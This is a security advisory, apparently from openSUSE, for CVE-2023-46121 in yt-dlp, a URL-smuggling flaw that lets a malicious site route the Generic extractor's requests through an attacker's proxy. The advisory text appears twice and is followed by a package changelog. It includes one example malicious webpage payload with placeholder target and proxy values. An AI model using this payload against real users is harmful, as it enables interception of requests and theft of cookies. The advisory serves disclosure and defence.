CVE-2023-46121

yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using --no-check-certificate.

Impact

The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

<details>

To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.

Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.

Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.

However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.

This could allow for the following, but not limited too:

• An attacker can MITM a request it asks yt-dlp to make to any website.
  • If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker.
  • Fortunately most sites are HTTPS and should be setting cookies as secure.
• An attacker can set cookies for an arbitrary site.

An example malicious webpage:

<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')

Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.

</details>

Patches

• We have removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern.

Workarounds

• Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content.
• Take caution when using --no-check-certificate.

References

• https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x
• https://nvd.nist.gov/vuln/detail/CVE-2023-46121
• https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14
• https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb

Impact

The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

<details>

To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.

Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.

Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.

However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.

This could allow for the following, but not limited too:

• An attacker can MITM a request it asks yt-dlp to make to any website.
  • If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker.
  • Fortunately most sites are HTTPS and should be setting cookies as secure.
• An attacker can set cookies for an arbitrary site.

An example malicious webpage:

<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')

Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.

</details>

Patches

• We have removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern.

Workarounds

• Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content.
• Take caution when using --no-check-certificate.

References

• https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x
• https://nvd.nist.gov/vuln/detail/CVE-2023-46121
• https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14
• https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb

yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using --no-check-certificate.

This update for yt-dlp fixes the following issues:

• Update to release 2023.11.14

  • Security: [CVE-2023-46121] Patch Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection
  • Disallow smuggling of arbitrary http_headers; extractors now only use specific headers

• Make yt-dlp require the one pythonXX-yt-dlp that /usr/bin/yt-dlp was built with.

• Rework Python build procedure [boo#1216467]

• Enable Python library [boo#1216467]

• Update to release 2023.10.13

  • youtube: fix some bug with --extractor-retries inf

• Update to release 2023.10.07

  • yt: Fix heatmap extraction
  • yt: Raise a warning for Incomplete Data instead of an error

• Update to release 2023.09.24

  • Extract subtitles from SMIL manifests
  • fb: Add dash manifest URL
  • crunchyroll: Remove initial state extraction
  • youtube: Add player_params extractor arg

• remove suggests on brotlicffi - this is only for != cpython

• Update to release 2023.07.06

  • Prevent Cookie leaks on HTTP redirect [boo#1213124] [CVE-2023-35934]
  • yt: Avoid false DRM detection
  • yt: Process post_live over 2 hours
  • yt: Support shorts-only playlists

• Update to release 2023.06.22

  • youtube: add IOS to default clients used

• Update to release 2023.06.21

  • Add option --compat-option playlist-match-filter
  • Add options --no-quiet, option --color, --netrc-cmd, --xff
  • Auto-select default format in -f-
  • Improve HTTP redirect handling
  • Support decoding multiple content encodings

• Use python3.11 on Leap 15.5

  • python3.11 is the only python3 > 3.6 version would be shipped in Leap 15.5

• Update to release 2023.03.04

  • A bunch of extractor fixes

• Update to release 2023.03.03

  • youtube: Construct dash formats with range query
  • yt: Detect and break on looping comments
  • yt: Extract channel view_count when /about tab is passed

• Update to release 2023.02.17

  • Merge youtube-dl: Upto commit/2dd6c6e (Feb 17 2023)
  • Fix --concat-playlist
  • Imply --no-progress when --print
  • Improve default subtitle language selection
  • Make title completely non-fatal
  • Sanitize formats before sorting
  • [hls] Allow extractors to provide AES key
  • [extractor/generic] Avoid catastrophic backtracking in KVS regex
  • [jsinterp] Support if statements
  • [plugins] Fix zip search paths
  • [utils] Don't use Content-length with encoding
  • [utils] Fix time_seconds to use the provided TZ
  • [utils] Fix race condition in make_dir
  • [extractor/anchorfm] Add episode
  • [extractor/boxcast] Add extractor
  • [extractor/ebay] Add extractor
  • [extractor/hypergryph] Add extractor
  • [extractor/NZOnScreen] Add extractor
  • [extractor/rozhlas] Add extractor
  • [extractor/tempo] Add IVXPlayer extractor
  • [extractor/txxx] Add extractors
  • [extractor/vocaroo] Add extractor
  • [extractor/wrestleuniverse] Add extractors
  • [extractor/yappy] Add extractor
  • [extractor/youtube] Fix uploader_id extraction
  • [extractor/youtube] Add hyperpipe instances
  • [extractor/youtube] Handle consent.youtube
  • [extractor/youtube] Support /live/ URL
  • [extractor/youtube] Update invidious and piped instances
  • [extractor/91porn] Fix title and comment extraction
  • [extractor/AbemaTV] Cache user token whenever appropriate
  • [extractor/bfmtv] Support rmc prefix
  • [extractor/biliintl] Add intro and ending chapters
  • [extractor/clyp] Support wav
  • [extractor/crunchyroll] Add intro chapter
  • [extractor/crunchyroll] Better message for premium videos
  • [extractor/crunchyroll] Fix incorrect premium-only error
  • [extractor/DouyuTV] Use new API
  • [extractor/embedly] Embedded links may be for other extractors
  • [extractor/freesound] Workaround invalid URL in webpage
  • [extractor/GoPlay] Use new API
  • [extractor/Hidive] Fix subtitles and age-restriction
  • [extractor/huya] Support HD streams
  • [extractor/moviepilot] Fix extractor
  • [extractor/nbc] Fix NBC and NBCStations extractors
  • [extractor/nbc] Fix XML…

These are all security issues fixed in the python310-yt-dlp-2023.11.16-1.1 package on the GA media of openSUSE Tumbleweed.